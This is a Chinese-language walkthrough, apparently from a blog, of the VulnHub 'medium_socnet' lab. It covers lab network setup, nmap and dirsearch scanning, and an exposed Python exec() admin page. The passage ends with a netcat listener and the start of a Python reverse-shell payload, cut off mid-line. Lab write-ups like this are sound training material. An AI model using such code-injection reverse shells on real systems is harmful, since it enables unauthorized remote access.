免责声明
本内容仅供学习、知识共享和进行技术探讨之用。以下声明适用于学习本内容的所有人员和相关内容:
- 无法律责任
本交流中的内容和建议基于现有的知识和经验,可能存在错误或不适用于特定情境。使用本内容所产生的任何后果,由使用者自行承担。本内容发起者及参与者不对因使用该内容而导致的直接或间接损失负责。- 合规与合法性
所有学习者应确保在获取、使用和传播时遵守相关法律法规和行业规范。不得传播非法信息或从事任何违反法律的活动。- 版权与知识产权
本内容中如有引用的任何第三方内容(如代码片段、文档或资源)均归原作者或版权所有者所有,使用者需遵守相应的版权声明。- 不保证适用性
本学习内容可能不适合所有情境或项目,使用者应根据实际需求进行分析和测试,确保内容的适用性和安全性。
一、环境配置
靶机地址: https://www.vulnhub.com/entry/boredbackerblog-social-network,454/
参考文章:
https://www.cnblogs.com/shadow-/p/16815020.html
https://blog.csdn.net/weixin_64422989/article/details/140064141
测试环境: Oracle VM VirtualBox5.2.22 126460 Ubantu(medium_socnet靶场)
VMware16.2.3-19376536 kali-linux-2024.4-live-amd64
攻击机: kali-linux-2024.4-live-amd64
靶机: Ubantu(medium_socnet靶场)
攻击机IP: 192.168.8.133 (vm8 NAT)eth0
192.168.56.103 (vm2 桥接) eth1
靶机模拟IP: 192.168.56.101
靶机内网IP: 172.17.0.1 172.17.0.2
1.1 VMware设置
kali 在 VMware 上配置双网卡:桥接模式 + NAT模式;
使用 VMware 虚拟网络编辑器【以管理员身份打开】
将桥接模式的网卡 VMnet2 的桥接(G) 到 VirtualBox 网卡

1.2 Kali设置
1.2.1 网络适配器:NAT模式

1.2.2 网络适配器2:配置为桥接模式
![[图片]](/https://i-blog.csdnimg.cn/direct/9f5e1c1e127342b592fb0fbc87c05aee.png)
1.3 VirtualBox设置
在导入靶机时和开机时可能不会那么顺利
开机前USB设备改成USB 1.1,概括可以称为软件的兼容性问题,某些软件只能在特定的硬件或使用特定的版本才能运行。
![[图片]](/https://i-blog.csdnimg.cn/direct/912aff6c08014279b30c0468d39df945.png)
这个是影响配置的主要问题,其它默认或者跳过就行。
1.3 常见问题
为什么要用 VirtualBox配置靶场,因为技术是延续的,由于兼容性和其它环境问题,直接用原生最好
且vulhub靶场大部分是.ova格式为主流。适配VMware的某些环境有很多坑,所以各种方法都要尝试。
还有一个常见的问题,在不开代理或使用其它方法的情况下,kali只能扫同网段的IP。
进行测试的时候很大概率并不能一次性成功,涉及到的IP可能会有变化。例如重置了环境或者虚拟机,这时IP一定会变化,攻击机IP可能与靶场真实IP冲突,一个费劲解决办法是你记住初始分配的动态IP,然后把它改成静态的。
如图:
![[图片]](/https://i-blog.csdnimg.cn/direct/b9d61001b1304d578958812dabdae544.png)
初始配好环境KALI的IP是一个动态的56.103,重置环境时变成了56.102,如果测试过后就会发现,IP冲突了,因为靶机的真实IP就是56.102。
编辑网络适配器文件更改配置文件
vim /etc/network/interfaces
二、信息收集
2.1 靶机信息收集
nmap -sS 192.168.56.0/24
![[图片]](/https://i-blog.csdnimg.cn/direct/9787414acdbb4117ad62d62c1a81fcc2.png)
2.2 端口、操作系统及其他信息收集
nmap -T4 -O 192.168.56.101
![[图片]](/https://i-blog.csdnimg.cn/direct/c224cc4f284e4ed8997a4073650fd5ff.png)
nmap -p22,5000 -sV 192.168.56.101
![[图片]](/https://i-blog.csdnimg.cn/direct/cc3b78d28bde42c09cb4c2c4ae1f8d08.png)
2.3 初步信息处理
22: ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000: http Werkzeug httpd 0.14.1 (Python 2.7.15) Linux 3.2- 4.9
2.4 访问端口继续收集信息
![[图片]](/https://i-blog.csdnimg.cn/direct/ffd177c8ada34c8180c37900bf855a50.png)
有一个注入点,但是不能注入
三、思路
3.1 思考攻击方式
1.扫描获取隐藏信息
2.ssh连接是否可用
3.2 用dirsearch进行探测
dirsearch --url=http://192.168.56.101:5000/
![[图片]](/https://i-blog.csdnimg.cn/direct/fb7317f7712243449843b4777723cfe4.png)
发现一个admin的隐藏目录,推测与管理员有关
3.3 访问
http://192.168.56.101:5000/admin
![[图片]](/https://i-blog.csdnimg.cn/direct/8e494804813a4d5880e04348a8d17773.png)
Nothing was ran. Input some code to exec()
3.4 结合最开始获取的信息,寻找python2.7.15的exp或者历史漏洞
Python 2.7.15 的 exec() 常用于存储在字符串中的代码语句执行,可以尝试查找关于 Python 2.7.15 反弹 shell 的代码,通过 exec() 进入 192.168.56.101 这台主机
3.4 监听准备
nc -lvnp 46743
![[图片]](/https://i-blog.csdnimg.cn/direct/d65a67a57d55453296c6ea851f0c39bd.png)
在http://192.168.56.101:5000/admin 界面注入python代码
http://192.168.56.101:5000/admin
![[图片]](/https://i-blog.csdnimg.cn/direct/6a71c37213eb49d69b168bbc72d32ba3.png)
3.5 代码解释如下
import os,subprocess,socket
创建套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议
创建通信
s.connect(


1113

被折叠的 条评论
为什么被折叠?



